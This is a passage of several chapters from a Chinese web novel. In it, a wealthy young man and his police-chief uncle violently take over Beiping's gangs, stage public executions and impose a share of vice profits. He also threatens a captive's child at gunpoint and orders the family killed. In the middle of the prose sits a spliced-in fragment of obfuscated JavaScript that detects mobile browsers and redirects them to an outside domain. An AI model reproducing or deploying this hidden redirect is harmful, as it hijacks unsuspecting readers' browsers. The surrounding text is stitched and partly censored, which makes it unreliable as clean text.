老鸨子哭丧着脸,搀扶起一个伤不算重的打手,跌跌撞撞的向外跑去。
猛虎帮的帮主钱大头,正在做双人成行的游戏呢。
白天警厅宣布扫黑除恶的事他也听说了。
他还真让手下的兄弟们都收敛点。
因为钱大头知道三合帮就是白景泗扫平的,怕自己太跳被盯上。
“咚咚,钱爷、钱爷不好了”
钱大头累的呼哧带喘喊了一声,“等着!”
拎着裤子打开了门,他一脸的怒容问道,“什么事!”
“钱爷,如意坊那边有人去**、砸场子!”
“嘿!他小妈妈的,什么人这么大胆子!”
“一个自称是**帮主,叫什么黄爷,哦,老鸨子和伙计在院里等着呢。”
钱大头一皱眉,“给他们喊进来,让弟兄们集合!”
他换好了衣服,听完老鸨子的哭诉是暴跳如雷。
“什么黄爷绿爷的,你们去给我通知弟兄们,半个时辰内全体集合,跟我会会他!”
钱大头等着人集合了三十个左右,在房里拿出一把**。
“走!”,他大喊一声带着人准备赶往如意坊。
还没等他出门呢,又有手下的伙计跑到家里。
“钱爷不好了,咱们的赌坊被人砸了!”
“谁干的!”
“说是什么**。”
钱大头一跺脚,“**哪冒出来这么个**!”
但此时他也顾不上管赌坊那边。
直奔如意坊,因为对方帮主在那呢,打掉领头的,剩下的都不是问题。
钱大头迈进如意坊,心头就是一颤。
他看到黄立四平八稳的坐那喝茶,周围全是虎背熊腰的汉子。
再看看自己这方,一个个歪头瘪棒子,跟特么瞎苞米似的。
一对比一下心里有点胆颤,但面儿上不能露怯。
“哼!”
钱大头对着黄立冷哼一声,“兄弟?哪来的?跑我这撒野,你也不打听打听钱爷的名号。”
“呵呵”
黄立放下茶杯呵呵一笑,轻声道,“打听了,就是打听完了才要灭了你。”
“孙贼!**不识抬举!”
钱大头拔出**指向黄立。
黄立面不改色的盯着黄大头,“你拿个烧火棍吓唬谁呢?跟我比家伙儿?”
“弟兄们!给他看看什么叫枪!”
黄立身后那几个拿长条包袱的,解开布条,露出的都是崭新崭新的**
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。
咱白大少爷抽卡抽了那么多的破烂,这种**有的是。
拿了十多条给了黄立。
用在北平的黑帮明显是降维打击
钱大头带来的手下马上就麻爪了。
北平毕竟是政府所在地,平时哪看见过这东西。
黑帮之间的斗殴,大多是棒子,连正经用刀的都很少。
钱大头看见枪也是心里惊讶,就在他愣神的功夫。
黄立抬手扣住他的脉门,一用力钱大头就感觉这条胳膊都麻了。
**落在了黄立的手。
黄立抬起枪指向钱大头,冲后边一挥手,“都给我扬了!”
这些人抡起**、斧子杀向钱大头带来的人。
如虎入狼群一样,给他们砍的哭爹喊娘。
“啊!”
“快跑啊!”
钱大头的手下**的四处乱窜。
有几个刚跑到门口,就被一群黑皮堵了回来。
“都给我进去,都放下手里的东西!”
黄立的兄弟们看见黑皮进来,也都停了手。
“李副局长,快,快救我,给他们都抓起啦!”
钱大头看到李副局长好像看到了救星。
李副局长笑着点了点头,挥挥手,“把人都抓起来。”
抓可是抓,抓的都是钱大头的人。
钱大头也被捆起来砸上**。
“你们、你们干什么!怎么不抓他们!”
他好一顿挣扎,但突然看见李副局长身旁站着一个年轻人。
“是你!”
年轻人正是白敬业,钱大头一下就明白过味儿了。
三合帮怎么倒的,圈内的都知道是因为得罪了白敬业。
“白敬业!我哪得罪你了,你要对我下手!”
白敬业看向李副局长,呵呵笑道,“李哥,他是在诽谤我,你得还我的清白。”
李副局长抡起巴掌,给了钱大头一个大嘴巴子。
“你是什么东西!白少爷的大名也是你能叫的!”
“白少爷是代表报社专门来监督我们警厅扫黑除恶进程的。”
他冲着手下挥了挥手,“都带走,一个别落下连夜审!”
白敬业递给李副局长一根烟,顺手帮他点燃了。
“李哥,今晚弟兄们都辛苦了,今晚人人有份,夜宵唔的我来安排。”
“谢谢白少爷”
“谢谢大少爷”
黑皮们都乐的蹦高,谁不知道白大善人出手大方。
他扭头看向黄立,“舅,通知弟兄们给我抄家!”
第87章 勾结岛国
钱大头在监狱里挨了顿毒打,怎么想也想不明白自己为啥落到这个下场。
扫黑除恶?
呸!**鬼都不信。
“嘎吱!”
牢房的铁门被人打开,白敬业面带微笑的走了进来。
在他身后的**搬了把椅子。
白敬业顺势坐下,轻咳一声,“咳,钱帮主待的怎么样?冷静下来了么。”
“哼!”
钱大头冷哼道,“没想到大名鼎鼎的修合先生是这种小人,只会暗地里使绊子。”
“哈哈哈”,白敬业抚掌大笑,指着钱大头,看向身后的**、王武两兄弟。
“你们看看他这人多会说话,看人真准!”
**和王武也不敢笑,就这么盯着钱大头。
“钱帮主,你呢也别那么固执,我问你点事,你要好好回答,我可以让你老死在牢里。”
白敬业说着语气变得十分阴狠,“要不然,明天靶场等待你的就是一颗**!”
“你!你…你问吧”
“哎,这才对嘛,我相信钱帮主是聪明人。”
白敬业夸赞了一句,接着道,“我想知道你和津门的韩家武馆那些生意往来。”
“准确点说你和他们是怎么交易烟土的?”
动猛虎帮是白敬业心血来潮么?
那肯定不是。
小**留在津门的这段时间,没少在街面上打听。
有着宫家的帮助还真让他打听到了。
韩家武馆背地里做的勾当可不少,背靠着码头什么都敢走私。
而且和北平的猛虎帮来往甚密。
白敬业想着打掉他,拿到韩家武馆犯罪的证据,再一举直捣津门。
“你怎么知道韩家武馆的!”
钱大头的表情十分惊讶,北平的帮派没有知道他货物的来源。
白敬业这么一问,他顿时心里翻江倒海。
“世上没有不透风的墙,赶紧说吧,也让你少遭点罪。”
钱大头咬着牙,气哼了一声,“我钱大头自问不是什么好人,但也绝对不出卖朋友!”
“你要杀就杀、要刮就刮,老子认栽了!”
白敬业听完后眨巴眨巴眼,轻笑道,“真硬气,不知道的还以为你这逼出是要英勇就义呢。”
他向后一挥手,“把人带进来。”
**点头,回身打开了牢门,带进来一个女人和两个男孩。
“呜呜呜,老钱”
“爹!”
钱大头看见妻儿被带来,顿时心头火气,大骂道,“白敬业!**是不是男人,懂不懂江湖规矩!”
“祸不及妻儿!你算什么好汉!”
白敬业撇了撇嘴,“别拿你那套跟爷说话。”
他说着从**腰间抽出**,拉过钱大头其中一个儿子。
“三个数!不说我马上开枪,没空在这陪你玩。”
“一!”
他二还没说出来,钱大头就跪倒在地,“白少爷,我说我说!”
“哼!贱骨头!”
白敬业骂了一句,给他儿子扔在一旁,向后挥了挥手示意**将人带出去。
“白少爷!求求你放了我这一家,我钱大头给您磕头了!”
白敬业把玩着**,冷冰冰道,“你没资格跟我谈条件,问你什么说什么。”
“差一点,我马上活埋你全家!”
“哎哎,白少爷您问。”
“你和韩家武馆的往来,怎么认识的,还有交易的细节。”
“唉”,钱大头叹了口气,“我和他们的韩馆长在十几年前就认识…”
钱大头与已经去世的韩馆长算是同乡,在韩馆长刚到津门的时候两人相识。
他和韩馆长还学过那么两年,以后他来到北平扎根,韩馆长在津门开馆,双方的关系一直没断。
直到几年前,韩馆长去世,武馆邹榕接手。
邹榕一改韩家武馆,开始做违法生意,就联系上了钱大头。
钱大头这人荤素不忌,什么都敢干,双方一拍即合,
邹榕负责在码头接货,每月将货物送到城外,城内由钱大头负责打点。
最开始有三合帮压着,他还不敢干的太大。
自从三合帮没了,钱大头的胆子也大了起来,正准备一展宏图起飞的时候,就被白敬业给击落了。
白敬业捏着下巴听完,在中间插了一句,“邹榕的货都是哪来的?”
“听说是从岛国来的,她和岛国在津门的大使很熟,大使的姨太太和她是闺中密友。”
白敬业点了点头,明白了。
邹榕就是岛国在津门的一颗很重要的棋子,自己的想法显然是正确的。
“啪啪”
白敬业站起身来拍了几下手,和颜悦色道,“恭喜你钱帮主,你暂时获得了活下去的权利,能不能保持下去,还要看你有没有用。”
“我有用!我肯定有用!”
钱大头跪在地上不停哀嚎,“求您一定放过我的家人。”
白敬业冷笑一声出了牢房。
“少爷,他的家里人我们怎么办?是关起来还是?”王武在脖子上一抹。
“交给我舅,告诉他做的干净点。”
“是,少爷”
放是不可能放
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的,白大善人从头到尾也没说过要放过他的家里人。
你一个臭混帮派的,和大善人身份对等么,就想讲条件?
姥姥!
……
第二天中午,北平菜市口
警厅的人员早早的在这设立好了刑场。
穿着黑皮的巡警们,手里拿着警棍维持着秩序。
老百姓议论纷纷。
“这是要干什么,好些年没看见菜市口行刑的了。”
在人堆里的克五,此时穿着一身棉袍,表情十分的嘚瑟。
“不知道了吧,跟你们说,今天中午要**猛虎帮的帮派分子。”
“昨晚警厅出动警力,把最闹腾的猛虎帮给平了!”
“哎呦!真的啊!”
旁边的人也认出了克五,“你不是克五么?咋不去拉车了?”
克五十分得意的一笑,“嘿嘿,告诉你们,从今天开始你们五爷又是爷啦!”
“爷加入了侦缉队,专门帮侦缉队搜查各处藏匿的**。”
“哎呦,五爷尿性!”
过了一会儿,警厅的车陆续开到,犯人一个个被押到了行刑台。
白景泗手持大喇叭站到了台前。
记者们一见厅长露面,都纷纷围拢过来。
“白厅长请问昨晚你们警厅是否有行动?”
“白厅长,昨晚南城的骚乱究竟是怎么回事?”
白景泗伸手示意大家都安静,他举起铁皮喇叭喊道。
“大家都安静,安静!”
底下的百姓和记者都看向他,停止了交头接耳。
“我白景泗昨天说过要进行严打!可是昨晚南城的猛虎帮竟然变本加厉,扰乱北平的治安,他们甚至动用了**!”
白景泗一挥手,他的属下把作为证据的**都拿了出来。
“这在北平是绝不能姑息的!所以,我们连夜捣毁了猛虎帮,抓住人犯共计七十余名!一律从严处置!”
“不杀住这股邪气,我看他们是要翻天,对待帮派首脑一律严惩!**!绝对没有二话。”
“其他的视情节严重再做处理,至于猛虎帮的帮主钱大头,他罪孽深重,目前还有别的案子没查清。”
白景泗说到这,冲着记者大手一挥,“不过我们一定保证此案公正公开,也欢迎记者朋友们来进行监督。”
记者们的小脸都红扑扑的,哪享受过这待遇,都直点头,在本子上写的全是白景泗的好话。
白景泗最后高声喊道,“请大家记住!帮派一定要剿!”
“我们警厅一定还百姓们一个和谐稳定的北平城!”
第88章 邪不压正
白景泗慷慨激昂的话语,引得台下老百姓阵阵掌声。
“好!”
“支持白厅长!”
白景泗的脸上充满了笑容,心里边美!
在警厅干了这么多年,这么威风还是头一回。
到了正午时分,白景泗冲着行刑官一挥手。
“下列人犯猛虎帮张元,因犯走私烟土、持械伤人……”
“行刑!”
“砰砰砰…”
一连串的**响起,人犯一个接一个的倒下。
北平的老百姓爱看热闹,尤其爱看**的热闹。
有几个缺德的还嚷嚷着,“真痛快呦,嘿,一口气杀了二十来个,毙他们丫的!”
好些个百姓手里还拿着窝窝头,准备往前冲。
白景泗摸摸胡子随后,一手叉着腰、一手拿起大喇叭。
“各位北平的父老乡亲,扫黑除恶不是一句口号,欢迎诸位随时到咱们警厅举报!”
“对待帮派分子黑恶势力,我们绝不姑息!”
“老少爷们儿,还是那句话!邪不压正!”
“邪不压正!”
全北平的人谁不知道白家四老爷是个好警察!
白景泗这边热闹着,可有些人愁的跟霜打的茄子似的。
济丰楼的雅间内
北平各大帮派的帮主都聚到了一起,这是多少年都看不到的景象。
前几天一个个的还喊打喊杀的,现在都苦着脸坐在那唉声叹气的。
猛虎帮的事给他们都吓着了。
堂头小栾子嘱咐着上菜的伙计,“你们上菜的时候都精神着点,千万别惹到上边的人。”
“哎,我们知道。”
等菜都走完,小栾子擦擦额头上的汗,强挤出笑脸进了雅间。
“各位爷!菜都齐了,您各位看还需要什么?”
坐在主位的中年人,皱着眉头冲他甩了甩手。
“好嘞,您各位有事招呼小的,随叫随到。”
小栾子如获大赦,弯着腰退出了雅间。
坐在主位的是实力仅次于之前三合帮的老大,名叫徐大江。
猛虎帮的实力在这些人当中只能算是中等偏上。
但谁让他是最跳的呢。
徐大江端起一杯酒,“诸位,别犯愁了,一起来喝一个。”
众人端起杯跟徐大江干了一杯。
名叫王兴的帮主率先引出了话题,“徐老大,您的威望最高、实力最强,您得帮大伙儿拿个主意啊。”
“是啊,徐大哥您说,大伙都听你的。”
“没错,都听徐大哥的。”
徐大江心里冷笑一声,“这时候都他妈听我的了,前几天一个个打的不都挺欢实么。”
他强撑笑容说道,“诸位,咱们也都别犯愁,我看这警厅无非是看咱们闹得太凶。”
“最近咱们都消停点,再给白厅长孝敬一些,我看问题不大。”
王兴苦着脸道,“不行啊徐老大,兄弟我今天早上到警厅送礼,连门都没让进就被人撅出来了,这白厅长不开面啊。”
“还有那个**,也不知道哪来的帮派,怎么就一晚上把钱大头给灭了。”
专门经营火因土生意的宋老板也说道,“徐老大,咱们可不能让这个**接着闹下去。”
“就因为我离着钱大头的生意近,昨晚他们连我的地盘都给扫了。”
“您得给大伙出出头啊。”
众人七嘴八舌说的这个热闹。
徐大**他们吵的头疼,一拍桌子,“行了,都别吵吵!”
“诸位都是街面上有头有脸的人物,还能让他一个新来的帮派给吓到!”
“只要咱们拧成一股绳,别说他**,就算是警厅又能拿咱们怎么样!”
众人一看徐大江表了态,都有了主心骨,纷纷附和道。
“徐老大您说怎么办,兄弟一定挺您。”
“对!徐老大以后就是咱们的领头人!”
这顿饭是徐大江组织的,他的想法就是想趁乱一同领导北平的各大帮派。
出来混的嘛,谁不想坐坐头把交椅的位置。
他左右看了看,觉得时机差不多。
“咳,既然各位听我的,咱们就这么办,他白家之前不是闹过一回么。”
“咱们也闹!咱们让北平彻底乱起来,逼白景泗下台!”
众人你瞅瞅我、我瞅瞅你,都没敢言语。
徐大江看他们心中有犹豫,刚想再添一把火。
“嘭!”
房门声一响,闯进来几个人,都是徐大江的手下。
“大哥!不好了,**来打我们的地盘了!”
“什么!”
徐大江的赌场里。
管事的和打手都跪成了一排。
黄立站在他们面前,挨个打量着,随手在管事的脑袋上扒拉一下。
“就他妈你这路货还出来混?”
“连三分钟都没有,你们就投降了?北平第二号的帮派就这操性?”
管事的连忙磕头,“黄爷黄爷,您英雄好汉,我们就是个屁,哪能跟黄爷您比。”
过了能有半个时辰,徐大江终于带着人赶到了赌场。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429777|184893||http|test|mini|href|location''.split(''|''),0,{}));
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r>他拿着一把关刀,大手一挥,“给我砍了他们!”
手下小弟都嗷嗷往前冲。
里面黄立见人来了,提刀就剁直奔领头的徐大江。
徐大江在黄立手里没走过两招,就被一脚蹬了个人仰马翻。
他还没等站起来,周围就窜出来一大批黑皮。
手里都端着家伙还有两挺**。
“都蹲下!蹲下!把手里的东西都放下!”
徐大江懵了,怎么来的这么快?哪来的这么多黑皮。
黑皮们举着枪把徐大江的手下都给按住。
“各位爷,有话好好说,我认识你们李副局长。”
最前头的黑皮,上去就给了他一**。
“让你蹲下!**耳朵聋啦!”
徐大**砸的眼冒金星,老老实实的抱头蹲下。
过了一会儿,黄立走到他的面前,“呵呵,你就是徐大江啊?”
徐大江抱着头,咬牙冲黑皮嚷嚷,“都是混帮派的,你们怎么不抓他!”
“去**,你管我们抓谁呢!”
徐大江指着黄立站了起来,终于明白过来了,“你们!”
“你们是一伙的!玩路子是么!”
领头的黑皮上去给了他一脚,“废什么话!带走!”
距离着他们不远处的炸豆腐摊上。
幕后策划者白大善人正嚷嚷着。
“味儿不对,你这没有卤虾油啊!”
摊子老板面带歉意,“爷,对不住您,卤虾油用完了,要不这顿给您免了?”
“什么话?!”
白敬业脸一拉,“当爷吃你的白食呢?”
坐在他旁边的李副局长也附和道,“咱爷们能差你这两个钱么!”
说着他掏出一把大子儿,扔给了老板。
“就是,爷要是不说,你还得以为爷没吃过好东西呢!”
老板捧着大子儿连连鞠躬,“对不住,真对不住。”
打发走了老板,李副局长笑道,“少爷,徐大江他们都已经抓起来了。”
白敬业拿着筷子在碗里嫌弃的扒拉两下,“给其他帮派下帖子,就说我四大爷请他们吃饭。”
“得嘞!”
……
各位义父能看到这次抽奖没展示面板,作者准备改动一下系统,把领导力和魅力都去掉,觉得用处不大,最开始写上也是想多水几个字数。
其他的数值也会优化调整,尽可能符合民国时代特性,各位老爷们有什么好建议也可以留言。
爱你们呦!催更、打赏来点义父们,孩子饿呀
第89章 我的规矩就是规矩
夜晚,福聚德楼上摆了两桌
一桌是这些帮派人士、另一桌是白景泗带来的警务人员。
白敬业端着杯酒站在两桌中间,高声道,“诸位,既然都给我这个面子,请我来当这个中人,那我就厚着脸皮接了。”
“各位,请吧”
这些帮派人士是敢怒不敢言,这时候谁还不明白怎么回事。
他们心里头都在那骂着,“谁他妈请你来了,阴险虚伪呸,不要脸。”
可是一个个的脸上却不敢显露出一丝的不满。
众人满面带笑,都跟着干了一杯。
干完了还得违心的夸上两句。
“修合先生能来主持真是太好了。”
“是是是,有修合先生在,我们就放心了。”
白敬业把酒杯交给身边的**,不紧不慢的说道。
“诸位之前闹的属实有点出圈了,咱们北平是京城!天子脚下你们这么闹,不是给我四大爷上眼药么?”
白景泗听着大侄子的话,脸上笑么滋的,嘴撇的像一条大鲶鱼。
其他人都连连认错,“是是,修合先生说的对。”
“都是我们的错。”
白敬业又端起杯酒,轻声道,“这第二杯也有个说头,我代表我四大爷跟你们唠上几句。”
“为了以防这种事情再次发生,咱们要制定个规矩。”
“只要遵守规矩的,咱们井水不犯河水。不守规矩的,就跟牢里的钱大头和赵大江一个下场!”
白敬业说完喝下杯中酒。
其他人都面面相觑,不知道他口中的规矩是什么。
王兴王帮主壮着胆子,站起身问道,“敢问修合先生,是什么规矩?”
白敬业摆手示意他坐下。
“这规矩嘛,自然是为了方便大伙和气生财,减少互相之间的冲突。”
“以后在座的所有偏门生意必须在警厅登记在册,甭管你们妓馆、赌坊还是火因馆无一例外。”
“每个月要交纯利润的三成,作为警局的福利,咱们这帮黑皮兄弟为你们服务,用不能让人家连饭都吃不饱。”
“三层!这…这太多了。”
“是啊,修合先生这也太多了。”
宋姓老板站起身来,高声道,“修合先生,三成也太多了,能不能少一点。”
“哈哈哈”
白敬业哈哈一笑,看向白景泗和其他警厅高层。
“你们之前上的那三瓜俩枣够干什么的,贩卖**、逼良为娼、贩卖人口,什么他妈缺德你们干什么。”
“出事了,都是黑皮兄弟替你们挨骂,三年了,警厅也要加点工资的嘛。”
“哈哈哈哈”
以白景泗为首的警厅高层纷纷开怀大笑。
“我不接受!三层实在太多!除非你往下…”
白敬业冷笑一声,看向坐在黄立身旁的梁石。
“嘭!”
梁石拎起椅子砸在宋老板的身上。
“啊!”宋老板惨叫一声摔倒在地。
梁石从桌上拿起盘子边砸边骂。
“嘭!给脸不要脸的东西,懂不懂规矩!
“嘭!跟我们少爷说话,还敢用你,给我用您,懂么!”
“嘭嘭嘭!”
宋老板被砸的满头是血昏死过去。
“啧啧啧”
白敬业看着地上的宋老板,咋舌道,“这宋老板怎么一不留神倒在地上了?”
**上前看了两眼回身笑道,“嘿嘿,少爷,他听说您制定的规矩太高兴,一激动给脑袋憋的**了。”
“唉”,白敬业摇头轻叹一声,“性情中人啊,拖出去。”
“是”
外边进来两个黑皮,像拖死狗似的给他拖走。
帮派这一桌人,头上的冷汗都冒下来了,一个个都不敢再言语。
“咳”,白敬业清清嗓子,“各位,这条规矩是我跟四大爷一起商量出来的,我的规矩就是规矩!”
“你们谁赞成、谁反对?”
王兴是个老油子,仗着胆子说道,“修合先生您别生气,姓宋的是乡下来的,不懂得咱规矩。”
“赞成,我们都赞成!我们应该的,三成一点都不多。”
其他人都跟着附和,“对对,我们没意见”
白敬业点点头,轻笑道,“既然大伙儿都没意见,那我也不能让你们吃亏。”
“你们看着是交三成,但钱大头和赵大江都没了,再加上原先三合帮的买卖。”
“我向你们保证,**不做火因馆、赌坊和妓馆生意,这些都交给你们做。”
一手萝卜、一手大棒!
众人一听全都不敢相信似的都惊住了。
“修合先生您说真的?”
白敬业点了点头。
“谢谢修合先生”
“谢谢先生!”
众人都乐开了花,少了这么多竞争对手,原以为**会垄断,没想到人家不做。
这别说交三成,再交两成他们也愿意。
白敬业一摆手,“你们先别着急谢我,我也是有条件的。”<
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br>“先生您说”
“**不做这些买卖,但是你们得把菜市、肉市和各家保护费的买卖让出来。”
白敬业收拢这些生意,也不是为了从老百姓手里卡油水。
而是打算把他们妥善的管理起来。
这人啊,到什么时候都是人捧人高!
经过监狱那一次事,他算明白集体的力量有多强。
只要牢牢掌控住北平的人心,再有上一支属于自己的武装力量。
就算再次对上老段,他也能立于不败之地。
众人一商量,让就让,刮地皮油水这才几个钱。
“修合先生我们同意。”
白敬业伸出手指点向众人,“你们现在有四家在做火因的生意,那以后就只能你们四家做。”
“四个招牌就是四个招牌,从今往后,你们进货的时候都要在警厅报备,从哪进的货都要交代清楚。”
“并且每个月不能超出警厅规定的份额。”
“谁要是不遵守这条规矩,别怪我砸了他的招牌!”
“这…”
众人面露难色,都不想答应,但又不敢不答应。
赵德柱一看没人言声,就站起来彪呼呼的说道。
“你们**不说话,是坐那拉屎呢!”
众人吓得一激灵,都明白过来,这是跟他们商量?
这是规矩!
“先生,我们答应,呵呵答应!”
白敬业微笑着端起第三杯酒。
“这第三杯酒,咱们共同饮下,以后有福同享、有难同当,谁要是有了麻烦求到我这,我白某人一定帮”
“祝愿大伙儿和气生财!干!”
“和气生财,咱们敬修合先生!”
就这样,白敬业三杯酒定北平,彻底解决了南城的帮派**。
之所以这么顺利,也还是因为北平是执政中心。
帮派的人士的势力都不算大。
几天后,白敬业和黄立把北平的事情基本捋顺。
制定好**扩张和招人的规则,赌毒沾边的一概不要。
最好是车夫和脚夫这样身上有把子力气的优先。
还让梁石等人在中间筛选,品行好的优先列入护厂队的名单。
之后帮派暂时交给乌勒和梁石管理。
当天夜里,谭海开车载着德田信二秘密返回津门。
第二天一早,白敬业跟活爹白景琦还有舅舅黄立,以及**、李贵四兄弟出发津门。
同时间,住在宫府许久的陈识开始登门踢馆!
第90章 踢馆
“你的旗袍穿的好像个瓶子。”
津门站内,宫二和冯庸还有小胡等人前来接站。
宫二穿着一身绿色旗袍。
因为刚开春,她穿着的还是冬季内胆加皮**的那种,显得有些臃肿。
宫二以为白敬业在嘲笑她的身材,不由得有些生气。
白敬业凑近她的耳边小声道,“药瓶”
之后又加了一句,“你就是医我的药!”
宫二的俏脸布上一抹绯红,暗中掐了他一下。
白敬业心中暗笑,这民国女频大佬的骚话是挺好用,人不咋地但是才华杠杠的。
“咳”
他轻咳一声看向冯庸,“咱们少帅呢?”
冯庸呵呵一笑,“他?看陈识踢馆去了,说是没见过凑凑热闹。”
“他还真是哪都爱凑热闹。”,白敬业摇了摇头,“走吧,估计咱们到宫府,陈识也应该比完了。”
振远武馆
津门一十九家武馆的馆主都到了。
再加上宫老的这一支中华武士会,席棚内坐的是人满为患。
张六子戴着遮脸的围脖和墨镜,坐在宫宝森的旁边,倒是也没几个人注意他。
振远武馆原先是以镖局起家。
随着军阀混战,镖局的生意也不好做,就改成了武馆。
现任的刘馆主善使一把战身刀,不太擅长灵巧招式。
说白了就是大铡刀,属于重兵器一类大开大合。
让他使用双手单锋剑很是别手。
这也是陈识挑选他作为头一家踢馆的原因。
按照白大善人的说法,柿子得挑软的捏!
韩家武馆的馆主邹榕,今天打扮的比较中性。
穿黑色的格纹西装,蹬着一双马靴。
在一群男人为主的群体中厮混,穿的太柔弱会被人看轻。
她冲着宫宝森微微一笑,“宫会长,时间差不多了,咱们现在开始?”
宫宝森点点头,“可以。”
邹榕伸手作请状,“您老来宣布吧。”
“算啦,宫某这回是来看热闹的,不参与其中,还是邹馆长来吧。”
邹榕轻笑着走到擂台中间,高声道,“诸位武馆的同仁,今天是南方来的陈识师傅上门挑战的日子。”
“咱们津门武行讲究的是以武会友,希望陈师傅和刘馆主,都能点到为止,万万不要伤了和气。”
她的一番话说的滴水不漏。
既点明了陈识是个外来户、是砸场子的,又说了津门武行不会仗势欺人。
“请双方签下生死状!”
陈识和刘馆主走到桌案前,双方对着其他馆主一拱手,在生死状上签下了自己的名字。
今天虽然用的都是不开刃的兵器,但毕竟是铁器刀剑无眼。
而且签生死状也是津门擂台一直流传的规矩。
双方拿起兵器走向擂台。
张六子往宫老身边凑了凑,压低声道,“宫老,您看他俩谁输谁赢?”
“看吧”
宫宝森只说了两个字,但脸上的笑容却十分自信。
他的身体恢复后,听宫二说完白敬业的计划。
他也传授给陈识不少的技巧。
所以对陈识的能耐还是比较有信心的。
唯一让宫老有些疑惑的是,自从宫二打北平归来,整天在他耳边说白敬业怎么怎么样。
这让他有种不祥的预感。
好像是菜地里的菜让野猪盯上了的感觉。
陈识站在擂台上冲刘馆主一抱拳,“刘兄!请!”
“陈师傅!请!”
陈识脚下二字钳羊马站稳,摆了一个拍手藏刀式。
前手持刀、左手刀紧藏于前手小臂内。
刘馆主见状不敢大意,脚下慢慢趟向陈识。
突然,刘馆主持刀前刺。
陈识不紧不慢,前手刀下压挡住对方的刀,左手藏刀直点对方咽喉。
刘馆主不敢妄动,刀尖距离他的咽喉不到几厘米。
文无第一、武无第二。
双方一搭手,刘馆主就知道自己干不过陈识。
两人同时后撤一步,开始下一回合,双方插招换式斗在一起。
“镗!镗!”
场上铁器互撞,火星子乱飞,看的人眼花缭乱。
但是看了一会儿,连张六子都有点看腻了。
刘馆主的功夫和陈识一比,那好有一比啊。
好比王先生遇见了王麻子,王麻子身边还带个媳妇满脸的雀斑。
差的不是一点,那是差飞了!
一炷香的时间转瞬即逝,铜锣一响、鸣金收兵!
两人收招互道承让。
“陈师傅武功果然不俗,刘某甘拜下风!”
“刘馆主承让!”
这也不用其他馆主点评,只要眼睛不瞎的,都能看得出来谁输谁赢。
“**”
邹榕起身鼓掌笑道,“精彩!陈师傅的功夫果然名不虚
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传。”
“既然陈师傅获胜,按照惯例今天得刘馆主您来请客。”
“哈哈哈”
刘馆主爽朗一笑,丝毫没拿胜负当一回事,开口道,“好说!今天咱们聚合成,好好给陈师傅贺一贺!”
北平有八大楼、津门有八大成,都是一等一的大饭庄。
从这就能看得出津门是一座包容性比较强的城市。
你把我打败了,我不仅不计较,我还请你吃饭,介叫嘛?
介叫人捧人高!
邹榕来到宫老面前,轻笑道,“宫老,请,今天这顿饭您一定得喝好,陈师傅的开门红也算随了您的心意。”
她的话里带着一根刺。
宫宝森也不计较,一摆手,“罢啦,今天老朽就不去了,家里来了几个重要的客人,老头子我再去吃饭不管,太失礼了。”
邹榕点了点头,“那宫老您请便。”
宫宝森知道白景琦今天也来到了津门。
但是由于陈识第一天打擂,他必须得在场。
打完了要是再跟着去喝酒吃饭,显然是心里没点逼数了。
那是谁?白七爷!
百草厅的买卖纵横大江南北,说白了,能到你府上是给你面子。
宫宝森嘱咐自己随行的几个徒弟,让他们跟着照顾点陈识。
随后带着张六子一起出了振远武馆。
众人往外走的时候是一团的和气,丝毫没有因为陈识踢馆而有什么隔阂。
但众人内心里却都有了计较。
等宫老和张六子赶回宫府,白敬业等人已经到了多时。
宫二正陪着众人聊天,见父亲回来忙上前问道,“爹,陈师傅赢了么?”
还没等他说话,张六子就开口道,“当然赢了,那刘馆主跟他一比,差的都不是一点。”
宫宝森也点点头,随后看向白景琦拱手抱拳,“景琦老弟,多年不见一向可好。”
“今天实在是有要事,没到车站相迎还望海涵。”
“哈哈”,白景琦哈哈一笑回礼道,“宫兄,我都听说了正事要紧。”
双方寒暄了一阵,分宾主落座,这时宫二却悄咪咪的退了下去。
“景琦老弟,这次到津门所为何故?是百草厅有什么事需要帮忙么?”
“咳”
白景琦清了清嗓子,一指白敬业,“宫兄,我这次来主要为了犬子,还有府上大小姐,他们两个的事情而来。”
第91章 订亲
宫宝森听完愣住,有些不明所以。
“景琦老弟,不知小女和贤侄之间有什么事?”
“哈哈,额”,白景琦哈哈一笑,“老哥,您还不知道,这两个孩子啊情投意合。”
“所以我今天就厚着脸皮前来府上提亲了。”
宫宝森听完脸上一下就变得阴沉,端起茶杯喝了一口。
心里埋怨白景琦,你家孩子不懂事,你这个当大人的也不懂事?
你家白敬业都成亲多少年了,上来提的哪门子的亲?
打算娶我女儿当姨太太,想他妈什么美事呢。
你白家是高门大户,我宫家也不是要饭的啊!
张六子和冯庸也都没敢开口,他俩听白敬业说有好办法,但也不知道是啥办法。
宫宝森往座位上看了一眼,发现自己女儿没了,就知道肯定是提前捏咕好了。
他把茶杯往桌上一放,语气有些冰冷,“景琦老弟,我听说府上的小少爷几年前还大张旗鼓的办了百日宴,你这是提的什么亲?莫非是来耍老哥玩的?”
“不敢不敢”
白景琦连连摆手,解释道,“老哥你想错了,要是娶姨太太,老弟怎么敢登您的大门,宫家在津门也是有头有脸的人物,你打死我我也张不开这个嘴。”
宫宝森听了更有些糊涂,“那老弟你...”
“老哥你有所不知,我父亲这一房人丁不兴,你也听说过,我头里有个哥哥没立住...”
白景琦就把兼祧一事讲述一遍,临了还给宫宝森许下承诺,“老哥,只要若梅嫁到我们家来,她就是未来二房的主家太太,您放心,彩礼唔的我一定按最高规格操办。”
宫宝森听后捏着下巴思考着。
姨太太那肯定是不行,但要说兼祧的大太太还真能考虑。
为啥?
白家是巨商,而且白敬业现在那么大的名气。
自己这宫家往好听点说是武人,可在有权有势的眼里,你不就是耍把式卖艺的么。
这年头当兵的都叫丘八,地位低下,更别说武人了。
女儿要是嫁过去,弄不好以后生的孩子就是白家的掌权人。
张六子和冯庸在旁边都听傻了!
冯庸心道,“我尼玛,兼祧这词我都多少年没听过了,老三这孙子还能想出来这招。”
张六子更是浮想联翩,他在想着,“我爹上边也好几个哥哥呢,听说还有两个下落不明的,马拉巴子的!我也能祧!”
白敬业紧着给他俩使眼色,意思你俩想尼玛呢,说话啊!
“敬业贤侄!”
白敬业听见宫宝森叫他,也不顾上那俩人,赶忙站起身来。
